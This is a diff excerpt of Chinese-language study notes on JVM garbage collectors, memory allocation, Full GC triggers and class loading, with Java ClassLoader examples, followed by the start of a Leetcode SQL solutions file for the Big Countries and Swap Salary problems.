它是 Serial 收集器的多线程版本。
|
||||
|
||||
是 Server 模式下的虚拟机首选新生代收集器,除了性能原因外,主要是因为除了 Serial 收集器,只有它能与 CMS 收集器配合工作。
|
||||
|
||||
默认开启的线程数量与 CPU 数量相同,可以使用 -XX:ParallelGCThreads 参数来设置线程数。
|
||||
|
||||
### 3. Parallel Scavenge 收集器
|
||||
|
||||
与 ParNew 一样是多线程收集器。
|
||||
|
||||
其它收集器关注点是尽可能缩短垃圾收集时用户线程的停顿时间,而它的目标是达到一个可控制的吞吐量,它被称为“吞吐量优先”收集器。这里的吞吐量指 CPU 用于运行用户代码的时间占总时间的比值。
|
||||
|
||||
停顿时间越短就越适合需要与用户交互的程序,良好的响应速度能提升用户体验。而高吞吐量则可以高效率地利用 CPU 时间,尽快完成程序的运算任务,适合在后台运算而不需要太多交互的任务。
|
||||
|
||||
缩短停顿时间是以牺牲吞吐量和新生代空间来换取的:新生代空间变小,垃圾回收变得频繁,导致吞吐量下降。
|
||||
|
||||
可以通过一个开关参数打开 GC 自适应的调节策略(GC Ergonomics),就不需要手工指定新生代的大小(-Xmn)、Eden 和 Survivor 区的比例、晋升老年代对象年龄等细节参数了。虚拟机会根据当前系统的运行情况收集性能监控信息,动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量。
|
||||
|
||||
### 4. Serial Old 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg" width=""/> </div><br>
|
||||
|
||||
是 Serial 收集器的老年代版本,也是给 Client 模式下的虚拟机使用。如果用在 Server 模式下,它有两大用途:
|
||||
|
||||
- 在 JDK 1.5 以及之前版本(Parallel Old 诞生以前)中与 Parallel Scavenge 收集器搭配使用。
|
||||
- 作为 CMS 收集器的后备预案,在并发收集发生 Concurrent Mode Failure 时使用。
|
||||
|
||||
### 5. Parallel Old 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//278fe431-af88-4a95-a895-9c3b80117de3.jpg" width=""/> </div><br>
|
||||
|
||||
是 Parallel Scavenge 收集器的老年代版本。
|
||||
|
||||
在注重吞吐量以及 CPU 资源敏感的场合,都可以优先考虑 Parallel Scavenge 加 Parallel Old 收集器。
|
||||
|
||||
### 6. CMS 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//62e77997-6957-4b68-8d12-bfd609bb2c68.jpg" width=""/> </div><br>
|
||||
|
||||
CMS(Concurrent Mark Sweep),Mark Sweep 指的是标记 - 清除算法。
|
||||
|
||||
分为以下四个流程:
|
||||
|
||||
- 初始标记:仅仅只是标记一下 GC Roots 能直接关联到的对象,速度很快,需要停顿。
|
||||
- 并发标记:进行 GC Roots Tracing 的过程,它在整个回收过程中耗时最长,不需要停顿。
|
||||
- 重新标记:为了修正并发标记期间因用户程序继续运作而导致标记产生变动的那一部分对象的标记记录,需要停顿。
|
||||
- 并发清除:不需要停顿。
|
||||
|
||||
在整个过程中耗时最长的并发标记和并发清除过程中,收集器线程都可以与用户线程一起工作,不需要进行停顿。
|
||||
|
||||
具有以下缺点:
|
||||
|
||||
- 吞吐量低:低停顿时间是以牺牲吞吐量为代价的,导致 CPU 利用率不够高。
|
||||
- 无法处理浮动垃圾,可能出现 Concurrent Mode Failure。浮动垃圾是指并发清除阶段由于用户线程继续运行而产生的垃圾,这部分垃圾只能到下一次 GC 时才能进行回收。由于浮动垃圾的存在,因此需要预留出一部分内存,意味着 CMS 收集不能像其它收集器那样等待老年代快满的时候再回收。如果预留的内存不够存放浮动垃圾,就会出现 Concurrent Mode Failure,这时虚拟机将临时启用 Serial Old 来替代 CMS。
|
||||
- 标记 - 清除算法导致的空间碎片,往往出现老年代空间剩余,但无法找到足够大连续空间来分配当前对象,不得不提前触发一次 Full GC。
|
||||
|
||||
### 7. G1 收集器
|
||||
|
||||
G1(Garbage-First),它是一款面向服务端应用的垃圾收集器,在多 CPU 和大内存的场景下有很好的性能。HotSpot 开发团队赋予它的使命是未来可以替换掉 CMS 收集器。
|
||||
|
||||
堆被分为新生代和老年代,其它收集器进行收集的范围都是整个新生代或者老年代,而 G1 可以直接对新生代和老年代一起回收。
|
||||
|
||||
<div align="center"> <img src="../pics//4cf711a8-7ab2-4152-b85c-d5c226733807.png" width="600"/> </div><br>
|
||||
|
||||
G1 把堆划分成多个大小相等的独立区域(Region),新生代和老年代不再物理隔离。
|
||||
|
||||
<div align="center"> <img src="../pics//9bbddeeb-e939-41f0-8e8e-2b1a0aa7e0a7.png" width="600"/> </div><br>
|
||||
|
||||
通过引入 Region 的概念,从而将原来的一整块内存空间划分成多个的小空间,使得每个小空间可以单独进行垃圾回收。这种划分方法带来了很大的灵活性,使得可预测的停顿时间模型成为可能。通过记录每个 Region 垃圾回收时间以及回收所获得的空间(这两个值是通过过去回收的经验获得),并维护一个优先列表,每次根据允许的收集时间,优先回收价值最大的 Region。
|
||||
|
||||
每个 Region 都有一个 Remembered Set,用来记录该 Region 对象的引用对象所在的 Region。通过使用 Remembered Set,在做可达性分析的时候就可以避免全堆扫描。
|
||||
|
||||
<div align="center"> <img src="../pics//f99ee771-c56f-47fb-9148-c0036695b5fe.jpg" width=""/> </div><br>
|
||||
|
||||
如果不计算维护 Remembered Set 的操作,G1 收集器的运作大致可划分为以下几个步骤:
|
||||
|
||||
- 初始标记
|
||||
- 并发标记
|
||||
- 最终标记:为了修正在并发标记期间因用户程序继续运作而导致标记产生变动的那一部分标记记录,虚拟机将这段时间对象变化记录在线程的 Remembered Set Logs 里面,最终标记阶段需要把 Remembered Set Logs 的数据合并到 Remembered Set 中。这阶段需要停顿线程,但是可并行执行。
|
||||
- 筛选回收:首先对各个 Region 中的回收价值和成本进行排序,根据用户所期望的 GC 停顿时间来制定回收计划。此阶段其实也可以做到与用户程序一起并发执行,但是因为只回收一部分 Region,时间是用户可控制的,而且停顿用户线程将大幅度提高收集效率。
|
||||
|
||||
具备如下特点:
|
||||
|
||||
- 空间整合:整体来看是基于“标记 - 整理”算法实现的收集器,从局部(两个 Region 之间)上来看是基于“复制”算法实现的,这意味着运行期间不会产生内存空间碎片。
|
||||
- 可预测的停顿:能让使用者明确指定在一个长度为 M 毫秒的时间片段内,消耗在 GC 上的时间不得超过 N 毫秒。
|
||||
|
||||
# 三、内存分配与回收策略
|
||||
|
||||
## Minor GC 和 Full GC
|
||||
|
||||
- Minor GC:发生在新生代上,因为新生代对象存活时间很短,因此 Minor GC 会频繁执行,执行的速度一般也会比较快。
|
||||
|
||||
- Full GC:发生在老年代上,老年代对象其存活时间长,因此 Full GC 很少执行,执行速度会比 Minor GC 慢很多。
|
||||
|
||||
## 内存分配策略
|
||||
|
||||
### 1. 对象优先在 Eden 分配
|
||||
|
||||
大多数情况下,对象在新生代 Eden 区分配,当 Eden 区空间不够时,发起 Minor GC。
|
||||
|
||||
### 2. 大对象直接进入老年代
|
||||
|
||||
大对象是指需要连续内存空间的对象,最典型的大对象是那种很长的字符串以及数组。
|
||||
|
||||
经常出现大对象会提前触发垃圾收集以获取足够的连续空间分配给大对象。
|
||||
|
||||
-XX:PretenureSizeThreshold,大于此值的对象直接在老年代分配,避免在 Eden 区和 Survivor 区之间的大量内存复制。
|
||||
|
||||
### 3. 长期存活的对象进入老年代
|
||||
|
||||
为对象定义年龄计数器,对象在 Eden 出生并经过 Minor GC 依然存活,将移动到 Survivor 中,年龄就增加 1 岁,增加到一定年龄则移动到老年代中。
|
||||
|
||||
-XX:MaxTenuringThreshold 用来定义年龄的阈值。
|
||||
|
||||
### 4. 动态对象年龄判定
|
||||
|
||||
虚拟机并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无需等到 MaxTenuringThreshold 中要求的年龄。
|
||||
|
||||
### 5. 空间分配担保
|
||||
|
||||
在发生 Minor GC 之前,虚拟机先检查老年代最大可用的连续空间是否大于新生代所有对象总空间,如果条件成立的话,那么 Minor GC 可以确认是安全的。
|
||||
|
||||
如果不成立的话虚拟机会查看 HandlePromotionFailure 设置值是否允许担保失败,如果允许那么就会继续检查老年代最大可用的连续空间是否大于历次晋升到老年代对象的平均大小,如果大于,将尝试着进行一次 Minor GC;如果小于,或者 HandlePromotionFailure 设置不允许冒险,那么就要进行一次 Full GC。
|
||||
|
||||
## Full GC 的触发条件
|
||||
|
||||
对于 Minor GC,其触发条件非常简单,当 Eden 空间满时,就将触发一次 Minor GC。而 Full GC 则相对复杂,有以下条件:
|
||||
|
||||
### 1. 调用 System.gc()
|
||||
|
||||
只是建议虚拟机执行 Full GC,但是虚拟机不一定真正去执行。不建议使用这种方式,而是让虚拟机管理内存。
|
||||
|
||||
### 2. 老年代空间不足
|
||||
|
||||
老年代空间不足的常见场景为前文所讲的大对象直接进入老年代、长期存活的对象进入老年代等。
|
||||
|
||||
为了避免以上原因引起的 Full GC,应当尽量不要创建过大的对象以及数组。除此之外,可以通过 -Xmn 虚拟机参数调大新生代的大小,让对象尽量在新生代被回收掉,不进入老年代。还可以通过 -XX:MaxTenuringThreshold 调大对象进入老年代的年龄,让对象在新生代多存活一段时间。
|
||||
|
||||
### 3. 空间分配担保失败
|
||||
|
||||
使用复制算法的 Minor GC 需要老年代的内存空间作担保,如果担保失败会执行一次 Full GC。具体内容请参考上面的第五小节。
|
||||
|
||||
### 4. JDK 1.7 及以前的永久代空间不足
|
||||
|
||||
在 JDK 1.7 及以前,HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 Class 的信息、常量、静态变量等数据。
|
||||
|
||||
当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么虚拟机会抛出 java.lang.OutOfMemoryError。
|
||||
|
||||
为避免以上原因引起的 Full GC,可采用的方法为增大永久代空间或转为使用 CMS GC。
|
||||
|
||||
### 5. Concurrent Mode Failure
|
||||
|
||||
执行 CMS GC 的过程中同时有对象要放入老年代,而此时老年代空间不足(可能是 GC 过程中浮动垃圾过多导致暂时性的空间不足),便会报 Concurrent Mode Failure 错误,并触发 Full GC。
|
||||
|
||||
# 四、类加载机制
|
||||
|
||||
类是在运行期间第一次使用时动态加载的,而不是编译时期一次性加载。因为如果在编译时期一次性加载,那么会占用很多的内存。
|
||||
|
||||
## 类的生命周期
|
||||
|
||||
<div align="center"> <img src="../pics//32b8374a-e822-4720-af0b-c0f485095ea2.jpg" width=""/> </div><br>
|
||||
|
||||
包括以下 7 个阶段:
|
||||
|
||||
- **加载(Loading)**
|
||||
- **验证(Verification)**
|
||||
- **准备(Preparation)**
|
||||
- **解析(Resolution)**
|
||||
- **初始化(Initialization)**
|
||||
- 使用(Using)
|
||||
- 卸载(Unloading)
|
||||
|
||||
## 类加载过程
|
||||
|
||||
包含了加载、验证、准备、解析和初始化这 5 个阶段。
|
||||
|
||||
### 1. 加载
|
||||
|
||||
加载是类加载的一个阶段,注意不要混淆。
|
||||
|
||||
加载过程完成以下三件事:
|
||||
|
||||
- 通过一个类的全限定名来获取定义此类的二进制字节流。
|
||||
- 将这个字节流所代表的静态存储结构转化为方法区的运行时存储结构。
|
||||
- 在内存中生成一个代表这个类的 Class 对象,作为方法区这个类的各种数据的访问入口。
|
||||
|
||||
其中二进制字节流可以从以下方式中获取:
|
||||
|
||||
- 从 ZIP 包读取,成为 JAR、EAR、WAR 格式的基础。
|
||||
- 从网络中获取,最典型的应用是 Applet。
|
||||
- 运行时计算生成,例如动态代理技术,在 java.lang.reflect.Proxy 使用 ProxyGenerator.generateProxyClass 的代理类的二进制字节流。
|
||||
- 由其他文件生成,例如由 JSP 文件生成对应的 Class 类。
|
||||
|
||||
### 2. 验证
|
||||
|
||||
确保 Class 文件的字节流中包含的信息符合当前虚拟机的要求,并且不会危害虚拟机自身的安全。
|
||||
|
||||
### 3. 准备
|
||||
|
||||
类变量是被 static 修饰的变量,准备阶段为类变量分配内存并设置初始值,使用的是方法区的内存。
|
||||
|
||||
实例变量不会在这阶段分配内存,它将会在对象实例化时随着对象一起分配在堆中。
|
||||
|
||||
注意,实例化不是类加载的一个过程,类加载发生在所有实例化操作之前,并且类加载只进行一次,实例化可以进行多次。
|
||||
|
||||
初始值一般为 0 值,例如下面的类变量 value 被初始化为 0 而不是 123。
|
||||
|
||||
```java
|
||||
public static int value = 123;
|
||||
```
|
||||
|
||||
如果类变量是常量,那么会按照表达式来进行初始化,而不是赋值为 0。
|
||||
|
||||
```java
|
||||
public static final int value = 123;
|
||||
```
|
||||
|
||||
### 4. 解析
|
||||
|
||||
将常量池的符号引用替换为直接引用的过程。
|
||||
|
||||
其中解析过程在某些情况下可以在初始化阶段之后再开始,这是为了支持 Java 的动态绑定。
|
||||
|
||||
### 5. 初始化
|
||||
|
||||
初始化阶段才真正开始执行类中定义的 Java 程序代码。初始化阶段即虚拟机执行类构造器 <clinit>() 方法的过程。
|
||||
|
||||
在准备阶段,类变量已经赋过一次系统要求的初始值,而在初始化阶段,根据程序员通过程序制定的主观计划去初始化类变量和其它资源。
|
||||
|
||||
<clinit>() 方法具有以下特点:
|
||||
|
||||
- 是由编译器自动收集类中所有类变量的赋值动作和静态语句块中的语句合并产生的,编译器收集的顺序由语句在源文件中出现的顺序决定。特别注意的是,静态语句块只能访问到定义在它之前的类变量,定义在它之后的类变量只能赋值,不能访问。例如以下代码:
|
||||
|
||||
```java
|
||||
public class Test {
|
||||
static {
|
||||
i = 0; // 给变量赋值可以正常编译通过
|
||||
System.out.print(i); // 这句编译器会提示“非法向前引用”
|
||||
}
|
||||
static int i = 1;
|
||||
}
|
||||
```
|
||||
|
||||
- 与类的构造函数(或者说实例构造器 <init>())不同,不需要显式的调用父类的构造器。虚拟机会自动保证在子类的 <clinit>() 方法运行之前,父类的 <clinit>() 方法已经执行结束。因此虚拟机中第一个执行 <clinit>() 方法的类肯定为 java.lang.Object。
|
||||
|
||||
- 由于父类的 <clinit>() 方法先执行,也就意味着父类中定义的静态语句块的执行要优先于子类。例如以下代码:
|
||||
|
||||
```java
|
||||
static class Parent {
|
||||
public static int A = 1;
|
||||
static {
|
||||
A = 2;
|
||||
}
|
||||
}
|
||||
|
||||
static class Sub extends Parent {
|
||||
public static int B = A;
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
System.out.println(Sub.B); // 2
|
||||
}
|
||||
```
|
||||
|
||||
- <clinit>() 方法对于类或接口不是必须的,如果一个类中不包含静态语句块,也没有对类变量的赋值操作,编译器可以不为该类生成 <clinit>() 方法。
|
||||
|
||||
- 接口中不可以使用静态语句块,但仍然有类变量初始化的赋值操作,因此接口与类一样都会生成 <clinit>() 方法。但接口与类不同的是,执行接口的 <clinit>() 方法不需要先执行父接口的 <clinit>() 方法。只有当父接口中定义的变量使用时,父接口才会初始化。另外,接口的实现类在初始化时也一样不会执行接口的 <clinit>() 方法。
|
||||
|
||||
- 虚拟机会保证一个类的 <clinit>() 方法在多线程环境下被正确的加锁和同步,如果多个线程同时初始化一个类,只会有一个线程执行这个类的 <clinit>() 方法,其它线程都会阻塞等待,直到活动线程执行 <clinit>() 方法完毕。如果在一个类的 <clinit>() 方法中有耗时的操作,就可能造成多个线程阻塞,在实际过程中此种阻塞很隐蔽。
|
||||
|
||||
## 类初始化时机
|
||||
|
||||
### 1. 主动引用
|
||||
|
||||
虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化(加载、验证、准备都会随之发生):
|
||||
|
||||
- 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译期把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
|
||||
|
||||
- 使用 java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行初始化,则需要先触发其初始化。
|
||||
|
||||
- 当初始化一个类的时候,如果发现其父类还没有进行过初始化,则需要先触发其父类的初始化。
|
||||
|
||||
- 当虚拟机启动时,用户需要指定一个要执行的主类(包含 main() 方法的那个类),虚拟机会先初始化这个主类;
|
||||
|
||||
- 当使用 JDK 1.7 的动态语言支持时,如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果为 REF_getStatic, REF_putStatic, REF_invokeStatic 的方法句柄,并且这个方法句柄所对应的类没有进行过初始化,则需要先触发其初始化;
|
||||
|
||||
### 2. 被动引用
|
||||
|
||||
以上 5 种场景中的行为称为对一个类进行主动引用。除此之外,所有引用类的方式都不会触发初始化,称为被动引用。被动引用的常见例子包括:
|
||||
|
||||
- 通过子类引用父类的静态字段,不会导致子类初始化。
|
||||
|
||||
```java
|
||||
System.out.println(SubClass.value); // value 字段在 SuperClass 中定义
|
||||
```
|
||||
|
||||
- 通过数组定义来引用类,不会触发此类的初始化。该过程会对数组类进行初始化,数组类是一个由虚拟机自动生成的、直接继承自 Object 的子类,其中包含了数组的属性和方法。
|
||||
|
||||
```java
|
||||
SuperClass[] sca = new SuperClass[10];
|
||||
```
|
||||
|
||||
- 常量在编译阶段会存入调用类的常量池中,本质上并没有直接引用到定义常量的类,因此不会触发定义常量的类的初始化。
|
||||
|
||||
```java
|
||||
System.out.println(ConstClass.HELLOWORLD);
|
||||
```
|
||||
|
||||
## 类与类加载器
|
||||
|
||||
两个类相等需要类本身相等,并且使用同一个类加载器进行加载。这是因为每一个类加载器都拥有一个独立的类名称空间。
|
||||
|
||||
这里的相等,包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果为 true,也包括使用 instanceof 关键字做对象所属关系判定结果为 true。
|
||||
|
||||
## 类加载器分类
|
||||
|
||||
从 Java 虚拟机的角度来讲,只存在以下两种不同的类加载器:
|
||||
|
||||
- 启动类加载器(Bootstrap ClassLoader),这个类加载器用 C++ 实现,是虚拟机自身的一部分;
|
||||
|
||||
- 所有其他类的加载器,这些类由 Java 实现,独立于虚拟机外部,并且全都继承自抽象类 java.lang.ClassLoader。
|
||||
|
||||
从 Java 开发人员的角度看,类加载器可以划分得更细致一些:
|
||||
|
||||
- 启动类加载器(Bootstrap ClassLoader)此类加载器负责将存放在 <JRE_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar,名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
|
||||
|
||||
- 扩展类加载器(Extension ClassLoader)这个类加载器是由 ExtClassLoader(sun.misc.Launcher$ExtClassLoader)实现的。它负责将 <JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
|
||||
|
||||
- 应用程序类加载器(Application ClassLoader)这个类加载器是由 AppClassLoader(sun.misc.Launcher$AppClassLoader)实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值,因此一般称为系统类加载器。它负责加载用户类路径(ClassPath)上所指定的类库,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
|
||||
|
||||
## 双亲委派模型
|
||||
|
||||
应用程序都是由三种类加载器相互配合进行加载的,如果有必要,还可以加入自己定义的类加载器。
|
||||
|
||||
下图展示的类加载器之间的层次关系,称为类加载器的双亲委派模型(Parents Delegation Model)。该模型要求除了顶层的启动类加载器外,其余的类加载器都应有自己的父类加载器。这里类加载器之间的父子关系一般通过组合(Composition)关系来实现,而不是通过继承(Inheritance)的关系实现。
|
||||
|
||||
<div align="center"> <img src="../pics//class_loader_hierarchy.png" width="600"/> </div><br>
|
||||
|
||||
### 1. 工作过程
|
||||
|
||||
一个类加载器首先将类加载请求传送到父类加载器,只有当父类加载器无法完成类加载请求时才尝试加载。
|
||||
|
||||
### 2. 好处
|
||||
|
||||
使得 Java 类随着它的类加载器一起具有一种带有优先级的层次关系,从而使得基础类得到统一。
|
||||
|
||||
例如 java.lang.Object 存放在 rt.jar 中,如果编写另外一个 java.lang.Object 的类并放到 ClassPath 中,程序可以编译通过。由于双亲委派模型的存在,所以在 rt.jar 中的 Object 比在 ClassPath 中的 Object 优先级更高,这是因为 rt.jar 中的 Object 使用的是启动类加载器,而 ClassPath 中的 Object 使用的是应用程序类加载器。rt.jar 中的 Object 优先级更高,那么程序中所有的 Object 都是这个 Object。
|
||||
|
||||
### 3. 实现
|
||||
|
||||
以下是抽象类 java.lang.ClassLoader 的代码片段,其中的 loadClass() 方法运行过程如下:先检查类是否已经加载过,如果没有则让父类加载器去加载。当父类加载器加载失败时抛出 ClassNotFoundException,此时尝试自己去加载。
|
||||
|
||||
```java
|
||||
public abstract class ClassLoader {
|
||||
// The parent class loader for delegation
|
||||
private final ClassLoader parent;
|
||||
|
||||
public Class<?> loadClass(String name) throws ClassNotFoundException {
|
||||
return loadClass(name, false);
|
||||
}
|
||||
|
||||
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
|
||||
synchronized (getClassLoadingLock(name)) {
|
||||
// First, check if the class has already been loaded
|
||||
Class<?> c = findLoadedClass(name);
|
||||
if (c == null) {
|
||||
try {
|
||||
if (parent != null) {
|
||||
c = parent.loadClass(name, false);
|
||||
} else {
|
||||
c = findBootstrapClassOrNull(name);
|
||||
}
|
||||
} catch (ClassNotFoundException e) {
|
||||
// ClassNotFoundException thrown if class not found
|
||||
// from the non-null parent class loader
|
||||
}
|
||||
|
||||
if (c == null) {
|
||||
// If still not found, then invoke findClass in order
|
||||
// to find the class.
|
||||
c = findClass(name);
|
||||
}
|
||||
}
|
||||
if (resolve) {
|
||||
resolveClass(c);
|
||||
}
|
||||
return c;
|
||||
}
|
||||
}
|
||||
|
||||
protected Class<?> findClass(String name) throws ClassNotFoundException {
|
||||
throw new ClassNotFoundException(name);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 自定义类加载器实现
|
||||
|
||||
FileSystemClassLoader 是自定义类加载器,继承自 java.lang.ClassLoader,用于加载文件系统上的类。它首先根据类的全名在文件系统上查找类的字节代码文件(.class 文件),然后读取该文件内容,最后通过 defineClass() 方法来把这些字节代码转换成 java.lang.Class 类的实例。
|
||||
|
||||
java.lang.ClassLoader 的 loadClass() 实现了双亲委派模型的逻辑,因此自定义类加载器一般不去重写它,但是需要重写 findClass() 方法。
|
||||
|
||||
```java
|
||||
public class FileSystemClassLoader extends ClassLoader {
|
||||
|
||||
private String rootDir;
|
||||
|
||||
public FileSystemClassLoader(String rootDir) {
|
||||
this.rootDir = rootDir;
|
||||
}
|
||||
|
||||
protected Class<?> findClass(String name) throws ClassNotFoundException {
|
||||
byte[] classData = getClassData(name);
|
||||
if (classData == null) {
|
||||
throw new ClassNotFoundException();
|
||||
} else {
|
||||
return defineClass(name, classData, 0, classData.length);
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] getClassData(String className) {
|
||||
String path = classNameToPath(className);
|
||||
try {
|
||||
InputStream ins = new FileInputStream(path);
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
int bufferSize = 4096;
|
||||
byte[] buffer = new byte[bufferSize];
|
||||
int bytesNumRead;
|
||||
while ((bytesNumRead = ins.read(buffer)) != -1) {
|
||||
baos.write(buffer, 0, bytesNumRead);
|
||||
}
|
||||
return baos.toByteArray();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private String classNameToPath(String className) {
|
||||
return rootDir + File.separatorChar
|
||||
+ className.replace('.', File.separatorChar) + ".class";
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
|
||||
- [Chapter 2. The Structure of the Java Virtual Machine](https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-2.html#jvms-2.5.4)
|
||||
- [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
|
||||
[Getting Started with the G1 Garbage Collector](http://www.oracle.com/webfolder/technetwork/tutorials/obe/java/G1GettingStarted/index.html)
|
||||
- [JNI Part1: Java Native Interface Introduction and “Hello World” application](http://electrofriends.com/articles/jni/jni-part1-java-native-interface/)
|
||||
- [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
|
||||
- [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
|
||||
- [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271)
|
||||
- [深入理解 JVM(2)——GC 算法与内存分配策略](https://crowhawk.github.io/2017/08/10/jvm_2/)
|
||||
- [深入理解 JVM(3)——7 种垃圾收集器](https://crowhawk.github.io/2017/08/15/jvm_3/)
|
||||
- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html)
|
||||
- [深入探讨 Java 类加载器](https://www.ibm.com/developerworks/cn/java/j-lo-classloader/index.html#code6)
|
||||
- [Guide to WeakHashMap in Java](http://www.baeldung.com/java-weakhashmap)
|
||||
- [Tomcat example source code file (ConcurrentCache.java)](https://alvinalexander.com/java/jwarehouse/apache-tomcat-6.0.16/java/org/apache/el/util/ConcurrentCache.java.shtml)
|
7059
docs/notes/Leetcode 题解.md
Normal file
7059
docs/notes/Leetcode 题解.md
Normal file
File diff suppressed because it is too large
Load Diff
950
docs/notes/Leetcode-Database 题解.md
Normal file
950
docs/notes/Leetcode-Database 题解.md
Normal file
@ -0,0 +1,950 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [595. Big Countries](#595-big-countries)
|
||||
* [627. Swap Salary](#627-swap-salary)
|
||||
* [620. Not Boring Movies](#620-not-boring-movies)
|
||||
* [596. Classes More Than 5 Students](#596-classes-more-than-5-students)
|
||||
* [182. Duplicate Emails](#182-duplicate-emails)
|
||||
* [196. Delete Duplicate Emails](#196-delete-duplicate-emails)
|
||||
* [175. Combine Two Tables](#175-combine-two-tables)
|
||||
* [181. Employees Earning More Than Their Managers](#181-employees-earning-more-than-their-managers)
|
||||
* [183. Customers Who Never Order](#183-customers-who-never-order)
|
||||
* [184. Department Highest Salary](#184-department-highest-salary)
|
||||
* [176. Second Highest Salary](#176-second-highest-salary)
|
||||
* [177. Nth Highest Salary](#177-nth-highest-salary)
|
||||
* [178. Rank Scores](#178-rank-scores)
|
||||
* [180. Consecutive Numbers](#180-consecutive-numbers)
|
||||
* [626. Exchange Seats](#626-exchange-seats)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 595. Big Countries
|
||||
|
||||
https://leetcode.com/problems/big-countries/description/
|
||||
|
||||
## Description
|
||||
|
||||
```html
|
||||
+-----------------+------------+------------+--------------+---------------+
|
||||
| name | continent | area | population | gdp |
|
||||
+-----------------+------------+------------+--------------+---------------+
|
||||
| Afghanistan | Asia | 652230 | 25500100 | 20343000 |
|
||||
| Albania | Europe | 28748 | 2831741 | 12960000 |
|
||||
| Algeria | Africa | 2381741 | 37100000 | 188681000 |
|
||||
| Andorra | Europe | 468 | 78115 | 3712000 |
|
||||
| Angola | Africa | 1246700 | 20609294 | 100990000 |
|
||||
+-----------------+------------+------------+--------------+---------------+
|
||||
```
|
||||
|
||||
查找面积超过 3,000,000 或者人口数超过 25,000,000 的国家。
|
||||
|
||||
```html
|
||||
+--------------+-------------+--------------+
|
||||
| name | population | area |
|
||||
+--------------+-------------+--------------+
|
||||
| Afghanistan | 25500100 | 652230 |
|
||||
| Algeria | 37100000 | 2381741 |
|
||||
+--------------+-------------+--------------+
|
||||
```
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS World;
|
||||
CREATE TABLE World ( NAME VARCHAR ( 255 ), continent VARCHAR ( 255 ), area INT, population INT, gdp INT );
|
||||
INSERT INTO World ( NAME, continent, area, population, gdp )
|
||||
VALUES
|
||||
( 'Afghanistan', 'Asia', '652230', '25500100', '203430000' ),
|
||||
( 'Albania', 'Europe', '28748', '2831741', '129600000' ),
|
||||
( 'Algeria', 'Africa', '2381741', '37100000', '1886810000' ),
|
||||
( 'Andorra', 'Europe', '468', '78115', '37120000' ),
|
||||
( 'Angola', 'Africa', '1246700', '20609294', '1009900000' );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
```sql
|
||||
SELECT name,
|
||||
population,
|
||||
area
|
||||
FROM
|
||||
World
|
||||
WHERE
|
||||
area > 3000000
|
||||
OR population > 25000000;
|
||||
```
|
||||
|
||||
# 627. Swap Salary
|
||||
|
||||
https://leetcode.com/problems/swap-salary/description/
|
||||
|
||||
## Description
|
||||
|
||||
```html
|
||||
| id | name | sex | salary |
|
||||
|----|------|-----|--------|
|
||||
| 1 | A | m | 2500 |
|
||||
| 2 | B | f | 1500 |
|
||||
| 3 | C | m | 5500 |
|
||||
| 4 | D | f | 500 |
|
||||
```
|
||||
|
||||
只用一个 SQL 查询,将 sex 字段反转。
|
||||
|
||||
```html
|
||||
| id | name | sex | salary |
|
||||
|----|------|-----|--------|
|
||||
| 1 | A | f | 2500 |
|
||||
| 2 | B | m | 1500 |
|
||||
| 3 | C | f | 5500 |
|
||||
| 4 | D | m | 500 |
|
||||
```
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS salary;
|
||||
